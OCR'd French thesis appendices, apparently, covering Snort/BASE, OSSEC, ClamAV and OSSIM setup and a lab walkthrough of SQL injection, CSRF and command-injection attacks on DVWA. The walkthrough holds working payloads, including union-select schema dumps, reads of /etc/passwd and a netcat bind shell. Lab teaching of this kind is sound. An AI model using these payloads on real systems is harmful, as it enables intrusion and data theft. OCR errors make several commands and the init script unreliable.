1.4.5.tar.gz
# tar -zxf base-1.4.5.tar.gz && cp -r base-1.4.5 /var/www/base

# chmod 777 /var/www/base (juste pour le moment)

Ouvrez un navigateur et allez a: https://192.168.1.13/base (ou quel que soit l'adresse IP choisi).
Cliquez Continue, choisissez English

Chemin de adodb: /usr/share/php/adodb

Cliquez Continue

Database Name: snort

Database Host: localhost

Database Port: laissez en blanc
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Database User Name: snort

Database Password: mon _mot_de passe

Mettre en valeurs pour le systéme d'authentification et cliquez sur « submit »

Cliquez sur "create baseag" qui s'étend de la base de données de support BASE.

Vous devriez voir un prochain numéro aux alertes uniques - cliquez sur cela et vous devriez consulter

des alertes comme ceci:

Snort Alert [1:10000001:0] — la regle de test, nous avons créé ci-dessus.

Si vous voyez des alertes de BASE - Félicitation - tout fonctionne comme il se doit.

8. Startup script for snort & barnyard

# vi /etc/init.d/snortbarn

Collez le texte suivant dans le fichier:

#! /bin/sh

#

### BEGIN INIT INFO

# Provides:snortbarn

# Required-Start: Sremote_fs $syslog mysql
# Required-Stop: $remote_fs $syslog

# Default-Start: 2345

# Default-Stop: 01 6

# X-Interactive: true

# Short-Description: Start Snort and Barnyard
### END INIT INFO

. /lib/init/vars.sh
. /lib/1sb/init-functions

mysqld _get param() {

/usr/sbin/mysqld --print-defaults | tr " " "\n" | grep -- "--$1" | tail -n 1 | cut -d= -f2

}

do_start()
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log daemon msg "Starting Snort and Barnyard" ""
# Make sure mysql has finished starting
ps_alive=0

while [ $ps_alive -1t 1 J;

do

pidfile="mysqld get param pid-file’

if [ -f "$pidfile" ] && ps “cat $pidfile’ >/dev/null 2>&1; then ps_alive=1; fi
sleep 1

done

/sbin/ifconfig ethl up
/ustr/local/bin/snort -q -u snort -g snort -c /etc/snort/snort.conf -i ethl &
/ust/local/bin/barnyard2 -q -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.log -w
/etc/snort/bylog.waldo -G /etc/snort/gen-msg.map —S
/etc/snort/sid-msg.map -C /etc/snort/classification.config 2> /dev/null &
log end msg 0
return 0

}

do_stop()
{
log _daemon_msg "Stopping Snort and Barnyard" ""
kill $(pidof snort) 2> /dev/null
kill $(pidof barnyard2) 2> /dev/null
log end msg 0

return 0

case "$1" in
start)
do_start ;;
stop)
do_stop ;;
restart)
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do_stop
do_start ;;
*)
echo "Usage: snort-barn {start|stop|restart}" >&2
exit 3 ;;
esac

exit 0

Rendez-le exécutable et créer les liens symboliques de démarrage.
# chmod +x /etc/init.d/snortbarn

# insserv -f -v snortbarn

Snort et Barnyard vont démarrer automatiquement au démarrage.

9. Mettez vos « rules » a jour avec pulledpork
Je vous encourage a regarder les regles professionnelles disponibles au

http://www.emergingthreatspro.com and http://www.snort.org

# cd /usr/src && wget http://pulledpork.googlecode.com/files/pulledpork-0.6.1.tar.gz
# tar -zxf pulledpork-0.6.1.tar.gz && cd pulledpork-0.6.1
# cp pulledpork.pl /usr/local/bin && cp etc/*.conf /etc/snort

# vi /etc/snort/pulledpork.conf

Commentez les lignes 22 & 26
Pour utiliser les Sourcefire VRT Certified Rules, allez a snort.org, inscrivez-vous pour un compte et

obtenir un “oinkcode”, ce qui vous permettra de télécharger leur régles (rules).

Aucun besoin supplémentaire a faire pour utiliser les nouvelles menaces

Line 20: entrez votre “oinkcode” Le cas échéant ou commentez la ligne si vous n'avez pas une au-
dessus

Line 23: laisser seul (décommentée) pour utiliser I’ensemble de régles (rules) des nouvelles menaces
Line 71: changez a: rule_path=/etc/snort/rules/snort.rules

Line 86: changez a: local rules =/etc/snort/rules/local.rules

Line 89: changez a: sid_msg=/etc/snort/sid-msg.map

Line 112: changez a: config_path=/etc/snort/snort.conf
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Line 124: changez a: distro=Debian-Lenny
Line 171: Supprimez le commentaire et changez a: enablesid=/etc/snort/enablesid.conf
Line 173: Supprimez le commentaire et changez a: disablesid=/etc/snort/disablesid.conf

Line 174: Supprimez le commentaire et changez a: modifysid=/etc/snort/modifysid.conf

# echo pcre:fwsam >> /etc/snort/disablesid.conf # désactive tous les blocs (fwsam) les regles

Exécutez pulledpork
# /usr/local/bin/pulledpork.pl -c /etc/snort/pulledpork.conf -T -1

Vous devriez maintenant voir local.rules et snort.rules dans /etc/snort/rules.

Nettoyez:

# rm /var/www/index.html

# chmod 755 /var/www/base

# pkill snort && pkill barnyard2

# rm -rf /var/log/snort/* /var/log/barnyard2/*

# vi /etc/snort/rules/local.rules — Comment out the test rule

# vi /etc/snort/snort.conf — Line 546: add: include SRULE_PATH/snort.rules

Branchez un « span port » ou dans ethl et redémarrer snort

# /etc/init.d/snortbarn restart
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‘Annexe ‘B

Les Attaques Web

Nous allons exécuter 3 attaques web sur le server web DVWA « Damn Vulnerable Web Application »

que nous avons installé.
SQL Injection Exploitation

Les étapes de lattaque :

Pour exploiter des fragilités d'injection de SQL vous devez comprendre comment la question est
construite pour injecter notre paramétre dans une situation que la question restera vraie. Par exemple
dans le DVWA vous pouvez voir un champ texte ou il demande 1'utilisateur ID. Si vous entrez dans le
chiffre 1 et vous cliquez sur le bouton se « submit » vous remarquerez qu'il rendra le prénom et le nom

de famille de l'utilisateur avec ID=1.

Vulnerability: SQL Injection

User ID:

| | Submit

ID: 1
First name: admin
Surname: admin

Cela signifie que la question qui a été exécutée en arriere dans la base de données était la commande
suivante : SELECT First Name,Last Name FROM users WHERE ID="1';
Venez voir I’adresse URL donc :

http://127.0.0.1/dvwa/vylnerabilities/sqli/?id=1&Submit=Submit#

Le parametre injectable sur I'URL est bien str le champ id si avant que vous ne fassiez rien d'autre que
vous pouvez essayer de changer le numéro d'identification sur I'URL a d'autres valeurs (soit 2, 3, 4 etc)
pour trouver les prénoms et les noms de famille de tous id=2 ——> First Name: Gordon Surname:
Brown

id=3 ——> First Name: Hack Surname: Me

id=4 ——> First Name: Pablo Surname: Picasso

1d=5 —> First Name: Bob Surname: Smith
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Une solution alternative qui extrairait tous les Prénoms et des Noms de famille de la table ce serait
d'utiliser la série d'injection suivante. La question de SQL sera dans ce cas comme ceci : SELECT

First Name,Last Name FROM users WHERE ID=a’ OR ”=’;

La déclaration il est toujours vrai donc il fera des causes l'application et rendra tous les résultats on

exécute la commande suivante : a’> OR ¢’=’

Vulnerability: SQL Injection

User ID:

[ | | submit |

ID: a' OR ''="'
First name: admin
Surname: admin

ID: a' OR ''=!'
First name: Gordon
Surname: Brown

ID: a' OR ''='
First name: Hack
Surname: Me

ID: a' OR ''=!
First name: Pablo
Surname: Picasso

ID: a' OR '‘'=!
First name: Bob
Surname: Smith

Donc vous avez la question ¢ union select @@yversion# qui nous fournit une erreur. Si vous essayez
d'augmenter le numéro de colonnes par 1 la question sera : ¢ union select 1,@@version#
Le signe # est utilisé pour faire des remarques du SQL suivant. Vous pouvez voir le résultat que vous

aurez dans l'image suivante :

La question a été exécutée avec succes et vous avez maintenant et la version exacte du MySQL.
Autrement vous pourriez avoir utilisé la valeur nulle pour prendre les empreintes digitales de la base

de données. Le résultat été exactement le méme.

Vulnerability: SQL Injection

User ID:

| | | submit

ID: ' union select null,@@version#
First name:
Surname: 5.1.66-0+squeezel

Vous pouvez découvrir le hostname de votre cible avec le @@hostname la déclaration.

Spécifiquement vous aurez : ¢ union select null, hostname #
peciiiq
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Vulnerability: SQL Injection

User ID:

( | | Submit |

ID: ' union select null, @@hostname#
First name:
Surname: ahmeddvwa

Maintenant que vous avez identifie la version de base de données et le hostname est temps de
trouver le nombre de colonnes. La commande est utilisée pour trier des informations dans une table.
Donc vous savez d'en haut que la structure de la question est la suivante : SELECT

First Name,Last Name FROM users WHERE ID="1’;
Vous pouvez questionner les colonnes disponibles de la table en utilisant la commande par la syntaxe.

Donc par exemple la question sera :
SELECT First Name,Last Name FROM users WHERE ID=" ¢ order by 1 #

Vulnerability: SQL Injection

User ID:

' order by 1 # | | submit |

Donc si vous essayez la commande suivante ¢ union all select system_user(),user() #
Il combinera les deux questions de sélection et il permettra aussi des valeurs doubles dans les résultats

parce que vous avez utilisé 1'union tout l'opérateur. Nous pouvons voir le résultat de la question

suivante dans l'image suivante :

Vulnerability: SQL Injection

User ID:

|‘ | | submit |

ID: ' union all select system_user(),user() #
First name: root@localhost
Surname: root@localhost

Comme vous pouvez voir l'utilisateur de base de données actuel et I'utilisateur de systéme est aussi le
root@localhost. Maintenant vous pouvez utiliser ¢ union select null,database() # pour trouver le nom

de base de données qui est dans ce cas le dvwa comme vous pouvez voir et de I'image ci-dessous :
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Vulnerability: SQL Injection

User ID:

[ | | submit |

ID: ' union select null,database() #
First name:
Surname: dvwa

La version de base de données est 5.0.66a cela signifie que vous pouvez inscrire toutes les bases de

données disponibles a propos de I'installation MySQL a distance avec la commande choisissent select

schema_name from information_schema.schemata
Qui vous permet d'extraire cette sorte d'informations quand méme si vous faisez 'administrateur
niveler des priviléges. Ainsi dans votre cas et basé sur la question précédente vous aurez :

‘ union select null,schema_name from information_schema.schemata #

Vulnerability: SQL Injection

User ID:

( | | submit |

ID: ' union select null,schema_name from information_schema.schemata #
First name:
Surname: information_schema

ID: ' union select null,schema_name from information_schema.schemata #
First name:
Surname: dvwa

ID: ' union select null,schema_name from information_schema.schemata #
First name:
Surname: mysql

Maintenant que vous avez recouvré les bases de données vous pouvez essayer de découvrir les noms
de table de l'information_schema en utilisant la question suivante :

¢ union select null,table_name from information_schema.tables #

Vulnerability: SQL Injection

User ID:

| | | submit |

ID: ' union select null.table_name from information_schema.tables #
First name:

Surname: CHARACTER_SETS

ID: ' union select null.table_name from information_schema.tables #
First name:

Surname: COLLATIONS

ID: ' union select null.table_name from information_schema.tables #

First name:
Surname: COLLATION_ CHARACTER _SET_APPLICABILITY

ID: ' union select null.table_name from information_schema.tables #
First name:
Surname: COLUMNS

ID: ' union select null.table_name from information_schema.tables #
First name:
Surname: COLUMN_PRIVILEGES

ID: ' union select null.table_name from information_schema.tables #
First name:
Surname: ENGINES

ID: ' union select null.table_name from information_schema.tables #
First name:
Surname: EVENTS

ID: ' union select null.table_name from information_schema.tables #
First name:
Surname: FILES

ID: ' union select null.table_name from information_schema.tables #
First name:
Surname: GLOBAL_STATUS

ID: ' union select null.,table_name from information_schema.tables #
First name:
Surname: GLOBAL_VARIABLES
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information_schema est la base de données qui contient des informations pour tout d'autres des bases
de données que le MySQL maintient. Autrement vous pouvez récupérer les tables de n'importe quelle
base de données que vous voulez. Dans cet exemple vous extrairez les tables de la base de données

owaspl0. Donc la question sera : ¢ union select null,table_name from information_schema.tables

where table_schema = ‘owasp10’ #

La concaténation de série peut étre aussi utilisée dans le cas ou que vous voulez joindre deux ou trois
séries a une série simple. Par exemple la question suivante extraira les noms de colonne des utilisateurs
de table :

¢ union select null,concat(table_name,0x0a,column_name) from information_schema.columns

where table_name= ‘users’ #

.

Fichier Edition Affichage Allera Signets Onglets Aide

& Précédent - S |‘\-;-'1 http:/f/127.0.0.1/dvwafvulnerabilities/sqlif?id:

FUNCTION dvwa.contact does not exist

Comme nous avons vu cette injection de SQL est une haute vulnérabilité critique parce qu'une fois que
l'on 1'a découvert qu'il nous permet avec l'utilisation des questions appropriées d'extraire des
informations tant de la base de données que le systtme. DVWA nous donnent I'occasion d'exploiter

cette vulnérabilité pour comprendre mieux comment l'injection SQL marche.

Attaque CSRF

Les étapes de attaque :

Commencez par ouvrir la page d’accueil de DVWA et essayer d’ouvrir une session en changeant le
mot de passe.
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DebDVWA [Running]

(O Applications Raccourcis Systeme ) [ )

308 =¢ [, mar. 23 avril, 14:32 o) D

FEichier Edition Affichage Allera

o Précédent

Home

Instructions

Setup

Brute Force

Command Execution

Signets Outils Onglets Aide

<] http://192.168.56.103/dvwa/fvulnerabilities/csrf/?p

ity: Cross Site Request Forgery (CSRF)

Change your admin password:
New password

Confirm new password

File Inclusion

)

| change |

Password Changed

SQL Injection (Blind)

Upload

XSS reflected More info

ntty p.org/index.php/Cross-Site Requ Forger

|
|
|
|
SQL Injection |
|
|
|
|

XSS stored

ntt gise curit m/csri-faq.html

ntty n.wikipedia.org/wiki/Cross-site request forger

DVWA Security |
PHP Info |
About |

Logout |

[

| €0 Damn wulnerable we...

[ I

Puis cliquez sur « View Source » pour voir la page source « .php »

DebDVWA [Running]
(O Applications Raccourcis Systeme @)[ )

SOLLLU O Elefre

i =2 @;‘» mar. 23 avril, 14:34 «}) €

D

D=

CSRF Source
<?php
if (isset($_GET['Change']1)) {
Turn requests into variable

$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new) ;
$pass_new = mdS($pass_new) ;

$insert="UPDATE “users SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('=pre=' . mysql_error() . '=/pre=' );

echo "<pre= Password Changed </pre=";
mysql_close();

T
else{
echo "<pre> Passwords did not match. </pre=";
ks
7>
| compare |
[ @ Damn wulnerable We... |[ £) Damn Vulnerable we... | D | J

SO IO SElleftg

Ensuite Ouvrir la page source « viewsourccOWBAWW .html »
Copiez la selection :
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DebDVWA [Running]

(O Applications Raccourcis Systéme 0@
viewsourceOWBAWW: html (/tmp/epiphany-ahmed=-ywwv3cN) ='gedit

chier E

|/ K3 ouvwrir ~ & Enregistrer = Annuler &‘

|@] viewsourceOWBAWW.html 3¢ I

n Affichage Rechercher Outils Documents Aide

Q X

@ mar. 23 avril, 14:48 «f
7

) ZF

o) | <

<div id="main_body">
<div class="body_padded">
<hl=Vulnerability: Cross Site Request Forgery (CSRF)</hl=
<div class="vulnerable_code_area">

<h3=Change your admin password:</h3=

metho "GET" > New password:<br>
password" AUTOCOMPLETE="off" name="password_new"=><br=>
assword: <br=

password" AUTOCOMPLETE="off" name="password_conf">

<pre= Passwor Couper

</div> Copier

<h2=More infc Supprimer

crass= & NreT="../../about.pnp  >ADOUT=/a T UL==<UL>=<L1 ONCLICK="WINdow.LloCation="..7../ LOgout.pnp
href="../../logout.php"=>Logout</a=></li></ul>
</div=>
</div=>

Tass= a

B

<ul=>
<li=<  Tout sélectionner pwasp.org/index.php/Cross-Site_Request_Forgery"
target="_blank"=http — 2st_Forgery</a=</li=
<li=< Méthodes de saisie > tgisecurity.com/csrf-faq.html" target="_blank">http://
wWww . calsecurity.com Insérer un caractére de contréle Unicode > &)

HTML v~  Largeur des tabulations: 8 ¥  Lig 52, Col 12 INS

E. Damn Vulnerable we... ][__IZ viewsourceOWBAWW.... |

[ =

Ed | | ]
QUL LIL SBlLefitse 4

Et ajoutez un dossier nommé « haxOr » dans /var/www

Pour ainsi créer un fichier texte nommé « dvwacsrf» a 1’aide de I’éditeur de texte et collez la sélection

=form action="#" method="GET"=> New password:<=br=

Confirm new password: =br=

<=input type="password" AUTOCOMPLETE="off" name="password_conf"=>=
=br=

<=input type="submit" wvalue="Change" name="Change"=>=

=/form=

Ecrire
Justifier

Alide
Quitter

Page preéec.
Page suivwv.

Couper [
Coller -

<=input type="password" AUTOCOMPLETE="off" name:"password_new"=<br>

Pos. cur.
Oorthograp. =

En outre ajoutez a la fin des deux premiéres lignes des « input » : value="admin’ et enregistrez le

fichier.
=)
Fichier

.html
<form action="#" method="GET"=> New password:<br=
<input type="password" AUTOCOMPLETE="off" name="password_new" value="admin"=><br=
Confirm new password: <br=
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="admin"=><br=

<input type="submit" value="Change" name="Change"=>

</form=

[ Lecture 1
Aide Ecrire e Lire fich. M| Page préc. g8 Couper
Quitter Justifier Ny Chercher Page suilv. 8 Coller

Pos. cur.
il Orthograp.

De plus ouvrez la page récemment crée dans le navigateur :

87



http://127.0.0.1/hax0Or/dvwacsrf.html et cliquez sur le bouton radio « Change »

DebDVWA [Running]

@ Applications Raccourcis Systéme @\b “g @‘;ﬂ jeu. 25 avril, 01:53 o) €D
) 2050 HEE
Fichier Edition Affichage Allera Signets Outils Onglets Aide

o Précédent v «; [M http://127.0,0.1/ha><0r/deac5rf.htrn|?password_new=admin&paasword_conf:admin&change:ch} = =

New password:

Confirm new password:

| change |

Maintenant copiez la premicre partie de I’URL puis collez le dans le fichier dvwacsrf.html en
remplagant le lien <form action="#" method="GET’> par
<form action="http://192.168.56. 103/dea/vulnerabllltles/csrf/"’ method="GET’>

Fichier Edition Affichage Terminal Aldg

GNU nano 2.2.4 Fichier : dvwacsrf.html Modifié
<form action"http://192.168.56.103/dvwa/vulnerabilities/csrf ,/?n method="GET" > New password:<br=
<input type="password" AUTOCOMPLETE="off" name="password_new" value="admin"=<br=
Confirm new password: <br=
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="admin"=<br=

<input type="submit" value="Change" name="Change">

</form=

g€ Aide [ Ecrire & Lire fich. M Page préc. [} Couper [ Pos. cur.
Quitter Justifier E Chercher Page suiv. Coller orthograp.
Et finalement Rafraichissez la nouvelle page http://127.0.0.1/hax0r/dvwacsrf.html

DebDVWA [Running]
@ Applications Raccourcis Systéme @Lb *g@- jeu. 25 avril, 01:57 ((ﬂﬂ 1)
I i i BIE]E

Flchler Edition Affichage Allera Signets Outlls Onglets Aide

o Précédent v S [ http://192,168.56.103/dea/vu|nerabiIities/csrf/?password_new:admin&password_conf:admin&c‘ = (=
[® Damn Vulnerab... % | 127.0.0.1 b4
) |
=/

Home | Vulnerability: Cross Site Request Forgery (CSRF)

Instructi

= ’ Change your admin password:

Setup ‘

New password:
Brute Force

l

Confirm new password:

|
|
|
File Inclusion | [ change |
|
|

Command Execution

el Password Changed

SQL Injection (Blind)




Attaque Commande Execution

Une des plus critiques vulnérabilité qu'un testeur de pénétration peut traverser dans test de pénétration
d'application web doit trouver une demande qu'il lui permettra d'exécuter des commandes de systéme.
Le taux de cette vulnérabilité est haut parce qu'il peut permettre a n'importe quel utilisateur non
autorisé et malveillant d'exécuter des commandes de 1'application web au systéme et récolter la grande
quantité d'informations ou compromettre I'hdte cible.

Dans ce guide nous verrons comment nous pouvons exploiter cette vulnérabilité en utilisant

l'application web vulnérable DVWA.

Les étapes de lattaque :

Comme nous pouvons voir dans le DVWA nous avons une utilité¢ de Ping libre qui nous permet au

pinger n'importe quelle adresse IP.

DebDVWA [Running]
(O Applications Raccourcis Systeme £)( ¢ 308 =B [}, mar. 23 avril, 16:25 o) D
@) ‘Damnl Vulnerable WeblApp (DVWA) V1IN0 7 =2 Vulnerability: Brute |Fonce’ =]
Fichier Edition Affichage Allera Signets Outils Onglets Aide
Co Précédent ~ ) |M® http:/192.168.56.103/dvwajvulnerabilities/exec/# | = (=
DYWA) 1
Home | Vulnerability: Command Execution

Instructions ‘

Ping for FREE

Enter an IP address below

Setup ‘

Brute Force

[ | | submit

il

PING 192.168.56.103 (192.168.56.103) S6(84) bytes of data.

64 bytes from 192.168.56.103: icmp_req=1 ttl=64 time=0.037 ms
64 bytes from 192.168.56.103: icmp_req=2 ttl=64 time=0.024 ms
64 bytes from 192.168.56.103: icmp_req=3 ttl=64 time=0.027 ms

CSRF

File Inclusion

SQL Injection

- 192.168.56.103 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.024/0.029/0.037/0.007 ms

SQL Injection (Blind)

Upload

XSS stored More info

DVWA Security

PHP Info

About

|
\
|
|
|
|
|
XSS reflected |
|
|
|
\
|

Logout

9]

4} Saisissez I'adresse d'une page Web & ouvrir ou une phrase a rechercher

| €0 Damn wulnerable we... | )
SLULEFLU OEllefte .

Pour assurer que la I'application est vulnérable pour commander 1'exécution vous pouvez essayer une
commande simple. Sur le champ d'adresse IP vous tapez 1 | echo pentestlab. Si « pentestlab » apparait
sur 'application Web apres la soumission de la commande alors vous avez une vulnérabilité

d'exécution de commande.
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DebDVWA [Running]
(O Applications Raccourcis Systeme [ ) 0 ==E [P, mar. 23 avril, 16:28 o) D
@) BamnlVulnerable WeblApp (DVWA) V1oL 7 - Vilnerability: Brute Force) DEEE
Fichier Edition Affichage Allera Signets Outils Onglets Aide

http://192.168.56.103/dvwafvulnerabilitiesjexec/#

Co Précédent ~ =

*

T Vulnerability: Command Execution

Instructions

Ping for FREE

Enter an IP address below:

Setup

Brute Force ( | [ submit |

I

pentestlab
CSRF

File Inclusion

SQL Injection More info

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

|
|
I
|
I
|
|
|
|
|
|
|
I
|
|
I

Logout

= [Eeiece Fecheree e e el & Gt G U Ghreem B reehereeey
|E5/ [ €D Damn wulnerable we... | 7)
SOLE LI O Flefrte

L'image ci-dessus montre que la commande a exécuté avec succes la signification que la vulnérabilité
existe.

Maintenant vous pouvez remplacer I'echo de commandes différentes pour commencer a rassembler
des informations sur 1'hote a distance.

La premicre chose que vous voulez vérifier est bien sir le contenu de du répertoire actuel avec la

commande de Is.

DebDVWA [Running]
(O Applications Raccourcis Systeme £)[ 3 308 ==2 [P, mar. 23 avril. 16:29 «}) €D
7] DSmn Vilnerable WeblApp (DVWA) V110t 7 to Vllnerability: Brute Force. SEE

Eichier Edition Affichage Allera Signets Outils Onglets Aide

“o Précédent ~ ) [ http:/192.168.56.103/dvwasvulnerabilities/exec/# | = (=

- I

Vulnerability: Command Execution

Home

Instructions

Ping for FREE

Enter an IP address below

Setup

Brute Force ( | | submit |

help
index.php
source

CSRF

|

|

|

|

\

|

File Inclusion |
SQL Injection |
|

|

|

|

|

|

|

SQL Injection (Blind) More info

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

About

Logout

«

[J Saisissez I'adresse d'une page Web a ouvrir ou une phrase a rechercher
|[E3] | €@ pamn vulnerable we... |

(2]
SOOI S Ellefr e

Vous pouvez aussi exécuter des commandes multiples en une fois juste en utilisant le « & »
Par exemple vous pouvez taper la commande : 1 | pwd & whoami & ps

Elle vous donnera le résultat suivant :
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Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

[ | | submit |

/var /www/dvwa/vulnerabilities/exec

PID TTY TIME CMD
1206 7 00:00: 00 apache2
1207 72 00:00:00 apachez
1208 7 00:00:00 apachez
1209 7 00:00: 00 apache2
1210 7 00:00:00 apachez
2249 7 00:00: 00 apache2
2356 7 00:00:00 sh
2359 7 00:00:00 sh
2360 7 00:00:00 ps
www-data

Comme vous pouvez voir dans I'image ci-dessus avec une commande vous pouvez obtenu les
informations suivantes :

* Parent working directory (pwd)

e L'utilisateur actuel qui exécute les commandes (whoami)

* Les processus qui exécutent (ps)
Vous pouvez aussi utiliser la commande 1 | uname -a & users & id & w pour découvrir le

« hostname », les utilisateurs qui sont connectés.

Vulnerability: Commmand Execution

Ping for FREE

Enter an IP address below:

[ | | submit |

uid=33(www-data) gid=33(www-data) groups=33(www-data) )
Linux ahmeddvwa 2.6.32-5-686 #1 SMP Mon Feb 25 01:04:36 UTC 2013 1686 GNU/Linux
10:01:41 up 29 min, 2 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGI N@ IDLE JCPU PCPU WHAT .
ahmed tty7 Hlo] 09:33 29:01 9.01ls ©0.12s x-session-manadg
root pts/1 :0.0 09:51 8:30 0.01ls ©0.0l1ls bash

ahmed root

Vous pouvez utiliser le 1 | chat de /etc/group afin d'afficher I'information sur les groupes d'utilisateurs

et ses membres sur le systéme de la cible.
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Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

[ ]|submk|

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
9818578388
disk: 3
1p:x:
mail:
news: 9:

uucp: 10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:ahmed

:8:

X X X N X

floppy:x:25:ahmed
tape:x:26:
sudo:x:27:
audio:x:29:ahmed
dip:x:30:ahmed
www-data: x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow: x:42:
utmp:x:43:
video:x:44:ahmed
sasl:x:45:
plugdev:x:46:ahmed
staff:x:50:
games:x:60:
users:x:100:

Toujours dans les systemes d'exploitation basés sur Linux nous voulons afficher le contenu du fichier
de /etc/passwd parce que nous pouvons trouver des informations sur les utilisateurs, on utilise donc la

commande 1 | cat /etc/passwd

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

[ ] |subnﬂt|

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon: fusr/sbin: /bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync: /bin: /bin/sync

games:x:5:60:games: Jusr/games: /bin/sh

man:x:6:12:man: /var/cache/man: /bin/sh
lp:x:7:7:1lp:/var/spool/Llpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news: /var/spool/news: /bin/sh

uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh

proxy:x:13:13:proxy: /bin:/bin/ssh
www-data:x:33:33:www-data: /var/www: /bin/sh

backup:x:34:34:backup: /var/backups: /bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:1rcd: /var/run/ircd: /bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody: x:65534: 65534: nobody: /nonexistent: /bin/sh
libuuid:x:100:101::/var/lib/libuuid: /bin/sh
messagebus:x:101:103: : /var/run/dbus: /bin/false
ahmed:x:1000: 1000: ahmed, , , : fhome/ahmed: /bin/bash
avahi:x:102:106: Avahi mDNS daemon, ,, :/var/run/avahi-daemon: /bin/false
usbmux:x:103:46:usbmux daemon, ,, : /home/usbmux: /bin/false
Debian-gdm:x:104:109:Gnome Display Manager:/var/lib/gdm3:/bin/false
mysql:x:105:110:MySQL Server,,,:/var/lib/mysql: /bin/false
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Vous pouvez également utiliser la commande suivante afin d'ouvrir un port sur le serveur a distance et

se connecter de nouveau a lui au netcat. 1 | netcat -v -e ‘/bin/bash’ -1 -p 31337

Pourquoi l'application Web est-elle vulnérable ?

Command Execution Source
=7?php

1f( 1sset( $ POSTL 'submit' 1 ) ) {

$starget = $ REQUEST L 'ip*' 1:

1f (stristriphp_uname('s'), 'windows NT')) {
scmd = shell_exec( 'ping ' . s$starget ) ;
echo '=pre='_$scmd.'<=/s/pre="';

¥ else {

$cmd = shell_exec( 'ping - =2 - $starget ) :
echo '=pre='_.$cmd.'<=spre="';

Du code au-dessus de vous pouvez voir qu'il n'y a aucun contrdle pour le $target variable et s'il
s'assortit a une adresse IP. Ainsi le code permet a un attaquant d'ajouter des commandes derriere

adresse IP.
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‘Annexe C

Installation OSSEC sur Debian

L'installation de I'OSSEC est trés simple. Suivez ces étapes d'installation. Assurez-vous que vous

comprenez le type d'installation vous choisissez le manager, l'agent, local, ou I'hybride.

1. Téléchargez la derniére version d’OSSEC

# wget http://www.ossec.net/files/ossec-hids-2.7.tar.gz

# wget http://www.ossec.net/files/ossec-hids-2.7 checksum.txt

# cat ossec-hids-2.7 checksum.txt

# md5Ssum ossec-hids-2.7.tar.gz

MD)5 (ossec-hids-2.7.tar.gz) = f4140ecf25724b8e6bdcaceaf735138a
# shalsum ossec-hids-2.6.tar.gz

SHAT (ossec-hids-2.7.tar.gz) = 258b9a24936e6b61e0478b638e8a3bfd3882d91e

2. Extrayez le paquet compressé et exécutez "./install.sh"

# tar -zxvf ossec-hids-2.7.tar.gz
# cd ossec-hids-*
# /install.sh

Ensuite ouvrez le port 1514 (UDP) s'il y a un pare-feu entre le serveur et les agents.

3. Start OSSEC HIDS

# /var/ossec/bin/ossec-control start

94



‘Annexe ‘D

Installation de ’antivirus « Clamayv »

1. Pour que vous installiez ’antivirus « clamav » dans debian vous devez ajouter la liste

source suivante a votre fichier /etc/sources.list

deb http://ftp2.de.debian.org/debian-volatile sarge/volatile main
ou
deb http://people.debian.org/~sgran/debian sarge main

deb-src http://people.debian.org/~sgran/debian sarge main

2. Apres que vous avez modifié la source liste vous devez exécuter les commandes suivantes :

# apt-get update
#apt-get install clamav
Ces deux commandes précédentes installent les paquets suivants :

Clamav ; clamav-base ; clamav-freshclam ; 1libbz2-1.0 ; libclamav1 ; libcurl3 ; libgmp3 ; libidn11 ; ucf
3. Puis, exécutez la commande suivante pour la mise a jour manuelle des bases de
données des virus:
#treshclam
4. En outre, exécutez la commande suivante pour scanner manuellement des
fichiers/dossiers :

#clamscan -r /chemin_des fichiers ou dossiers
Exemple :

#clamscan /
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‘Annexe ‘E

Installation OSSIM

1. Server OSSIM :

D’abord téléchargez et installez le serveur OSSIM a partir du site officiel d'OSSIM
http://www.ossim.org/OSSIM/Downloads.html

2. Agent OSSIM :

Ensuite installez avec apt-get install ossim-agent:
# apt-get install ossim-agent
Puis configurez 1I’agent OSSIM en effectuant des modifications sur son fichier

/etc/ossim/agent/config.cfg:
# vi /etc/ossim/agent/config.cfg

3. Outils supplémentaires :

Il est recommander d’Installer outils supplémentaires d’OSSIM

3.1. Installez de NTOP

# apt-get install librrd2 ntop

# ntop -u ntop

>> Please enter the password for the admin user: # “C
# /etc/init.d/ntop start

3.2. Installez de PADS

# apt-get install pads

3.3. Installez POF

# apt-get install pOf

3.4. Installez TCPTRACK

# apt-get install tcptrack
Finalement, aprés chaque installation vous utilisez la commande suivante pour activer 1’outil chez
I’agent :

# dpkg-reconfigure ossim-agent



